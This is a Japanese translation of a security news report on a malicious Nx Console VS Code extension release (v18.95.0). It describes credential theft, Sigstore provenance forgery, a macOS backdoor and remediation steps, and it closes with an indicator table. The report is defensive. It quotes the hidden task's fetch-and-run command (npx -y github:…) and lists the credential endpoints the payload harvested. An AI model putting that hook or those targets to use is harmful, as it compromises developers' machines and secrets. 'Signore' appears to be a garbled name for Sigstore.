Nx Consoleの人気VS Code拡張機能が一時的に認証情報窃取ツールに変わり、開発者やクラウド認証情報を漏らし、永続的なバックドアを植え付けることができました。v18.95.0をインストールした人は、自分の環境が完全に侵害されたものとして扱うべきです。
2026年5月18日、Nx Console VS Code拡張機能の悪意あるビルド版 nrwl.angular-console v18.95.0がVisual Studio Code Marketplaceに公開されました。この拡張機能は220万以上のインストール数を誇っています。
悪意あるバージョンは開発者がワークスペースを開くとすぐに実行され、公式のnrwl/xGitHubリポジトリ内の隠されたぶら下がったコミットから498 KBの難読化されたペイロードをサイレントに取得し実行しました。
悪意あるビルドはNxチームが削除するまで約11分間公開されていましたが、自動更新と頻繁な拡張機能インストールを考えると、この短い期間でも広範な侵害には十分です。
Stepsecurityによると、これはNxエコシステムが1年未満に被った2番目の大規模サプライチェーン攻撃であり、2025年8月の悪意あるNx npmパッケージを悪用して大規模に認証情報を窃取したキャンペーンに続くものです。
npmに焦点を当てた前回の波とは対照的に、新しい攻撃は盗まれた貢献者のGitHub トークンをパブリッシングパイプラインへの初期アクセスとしてVS Code拡張機能チャネルに軸足を移しました。
Nxチームは、根本原因が貢献者のGitHubパーソナルアクセストークンをスクレイピングしたサプライチェーン攻撃であり、攻撃者にnrwl/xリポジトリへのプッシュアクセス権と、直接的または間接的にVS Code Marketplaceパブリッシング認証情報(VSCE_PAT)を与えたと確認しました。
そのトークンを使用して、脅威アクターはnrwl/xに孤立したコミット(親がなく、ブランチから到達不可能)をプッシュし、リポジトリツリーを最小限のpackage.jsonと、Bunの下で実行するように設計された巨大なindex.jsドロッパーで置き換えました。
コミットは前の貢献者に誤った帰属が与えられ、迅速なクリーンアップを阻止するために「ワイパー」を脅迫する社会工学的なコミットメッセージが含まれていましたが、警告そのものは偽りでした。
攻撃者はその後ローカルでNx Console拡張機能の改ざんされたバージョンをビルドし、v18.95.0をVS Code Marketplaceに直接パブリッシュしました。難読化されたmain.jsファイルに約2.7 KBの悪意あるコードが注入されていました。
注入されたコードは拡張機能のactivate()エントリーポイントにフックし、カスタムglobalStateキーをチェックし、期待されるSHAが欠けている場合は、バックグラウンドでnpx -y github:nrwl/nx#<dangling_sha>を実行する隠されたVS Codeタスクを起動しました。ユーザーのプロンプトはありません。
OpenVSXは影響を受けなかったため、被害範囲はMicrosoftマーケットプレイスから取得したユーザーに限定されています。
Nx Console VS Code拡張機能
実行されると、498 KBの難読化されたペイロードは多段階の認証情報スティーラーおよびサプライチェーン毒盛ツールキットとして機能します。
いくつかの反分析ゲート(CPU数、環境チェック、地理的位置フィルター、ロックファイル)を使用し、その後自身をデーモン化して、VS Codeタスクがきれいに終了した後も悪意あるプロセスが目立たずに実行され続けます。
コアコレクターはGitHub、npm、AWS、HashiCorp Vault、Kubernetes環境、および1Passwordから高価値のシークレットを体系的に探索して抽出し、ファイルシステムと/procメモリを組み込み認証情報でスキャンします。
特に注目すべき機能は、Fulcio証明書発行、Rekor透明性ログ相互作用、および盗まれたnpm OIDCトークンに結び付けられたSLSAおよびin-toto provenance認証の生成を含む、完全なSignore統合です。
つまり、アクターは正当にビルドされた暗号署名されたアーティファクトとして表示されるダウンストリームnpmパッケージをプッシュでき、信頼できるパブリッシングとprovenance検査をエコシステムに対して効果的に武器化します。
ペイロードは~/.claude/settings.jsonの下のClaude Code設定ファイルも明示的にターゲットにしており、これは収集範囲の一部としてAI コーディングアシスタント認証情報と設定を狙う最初のサプライチェーンペイロードの1つです。
流出は回復力のあるように設計されています:収集されたシークレットは暗号化・圧縮され、その後3つの個別チャネルを介して送信されます。難読化されたC2ドメインへの直接HTTPS POST、発見されたトークンを使用したGitHub APIの悪用、およびDNSトンネリング。ただし、どの経路でも十分なら、データ流出は成功します。
macOSでは、JavaScriptステージはkittyテーマのパス下にPythonバックドアをドロップし、LaunchAgentを登録して、GitHub Search APIを介して毎時間コールホームし、署名付きコミットメッセージをデッドドップC2チャネルとして使用します。これは4096ビットRSA署名で強化されています。
nrwl.angular-console v18.95.0をインストールしていた誰もが、開発者認証情報、クラウドキー、およびそのマシンまたはそのCI環境からアクセス可能なシークレットの完全な侵害を想定すべきです。
最小限でも、組織は悪意ある拡張機能を削除し、すべての潜在的に露出したトークンとキーをローテーションし、疑わしい署名付きリリースについてnpmパブリッシングログを監査し、開発者エンドポイントでmacOS LaunchAgentおよびドロップされたPythonバックドアを検索する必要があります。
Nxの最近の洗練されたサプライチェーン攻撃の履歴を考えると、Nx、Nx Console、または関連ツールを使用するチームは、拡張機能ガバナンスを緊急に強化し、最小権限トークンを実装し、パイプライン全体でSignore、npm OIDC、およびGitHubトークンの異常な使用を継続的に監視すべきです。
侵害の指標
| カテゴリ | 指標 | 説明 |
|---|---|---|
| ファイルハッシュ(SHA-256) | 1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8 | 悪意あるVSIX(v18.95.0) |
| ファイルハッシュ(SHA-256) | b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74 | 悪意あるmain.js(VSIX内) |
| ファイルハッシュ(SHA-256) | e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1 | 難読化されたペイロード(孤立したコミットのindex.js) |
| ファイルハッシュ(SHA-256) | 43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9 | ドロッパーpackage.json |
| ファイルハッシュ(SHA-256) | 228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3 | クリーンVSIX(v18.94.0) |
| ファイルハッシュ(SHA-256) | cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990 | 修復されたVSIX(v18.100.0) |
| ネットワーク指標 | api.github.com/search/commits?q=firedalazer | Python C2デッドドロップポーリング |
| ネットワーク指標 | ポート443上の暗号化C2ドメイン | HTTPS流出(静的には回復不可能) |
| ネットワーク指標 | 169.254.169.254 | AWS IMDS認証情報窃取 |
| ネットワーク指標 | 169.254.170.2 | ECSコンテナ認証情報エンドポイント |
| ネットワーク指標 | 127.0.0.1:8200 | HashiCorp Vaultローカルエンドポイント |
| ネットワーク指標 | fulcio.sigstore.dev / rekor.sigstore.dev | Signore認証偽造 |
| ネットワーク指標 | bun.sh/install | 永続性のためのランタイムインストール |
| ネットワーク指標 | DNSトンネリングクエリ | バックアップ流出チャネル |
注:IPアドレスとドメインは意図的にdefang(例:[.])されており、偶発的な解決またはハイパーリンクを防ぎます。MISP、VirusTotal、またはSIEMなどの制御された脅威インテリジェンスプラットフォーム内でのみ再fangしてください。
翻訳元: https://gbhackers.com/nx-console-vs-code-extension/